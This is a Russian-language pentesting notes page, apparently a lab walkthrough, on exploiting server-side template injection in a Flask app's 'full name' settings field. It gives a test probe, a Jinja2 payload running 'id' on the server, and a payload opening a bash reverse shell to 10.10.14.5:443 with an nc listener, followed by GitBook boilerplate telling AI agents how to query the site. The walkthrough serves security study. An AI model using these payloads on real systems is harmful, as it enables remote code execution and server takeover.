> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).

# SSTI во Flask

## SSTI:

<figure><img src="/files/20222bc3cf44fd9f392ab94c9046e544a415cd3e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fddaf8ad9f7e2ab19d45e9bbb43d028284a7d818" alt=""><figcaption></figcaption></figure>

В поддомене вы найдете **Настройки** вкладку, где можно изменить информацию пользователя-администратора (полное имя, дата рождения и телефон).

<figure><img src="/files/0d4ea88e949ff924d533f43010fb2eafecb33705" alt=""><figcaption></figcaption></figure>

Если в поле «full name» вы попытаетесь выполнить атаку SSTI, сервер уязвим. Чтобы проверить это с помощью `{{ }}`, мы проверяем, интерпретирует ли он вычисление:

```python
{{1+1}}

```

<figure><img src="/files/6cb7e857267fe75821c63ae659662bc3d78b5d88" alt=""><figcaption></figcaption></figure>

Затем мы все выполняем команды (например, `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

Мы обнаруживаем, что он находится в группе `root`.

<figure><img src="/files/88392376735c214ed981825c1d8a38d6552b00d6" alt=""><figcaption></figcaption></figure>

Мы все получаем обратную оболочку для доступа к серверу

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}

```

Мы запускаем слушатель на порту 443 на нашей машине атакующего:

```bash
nc -nlvp 443

```

<figure><img src="/files/9e939db7402271677712c1e73e51a59d7e33b8d6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
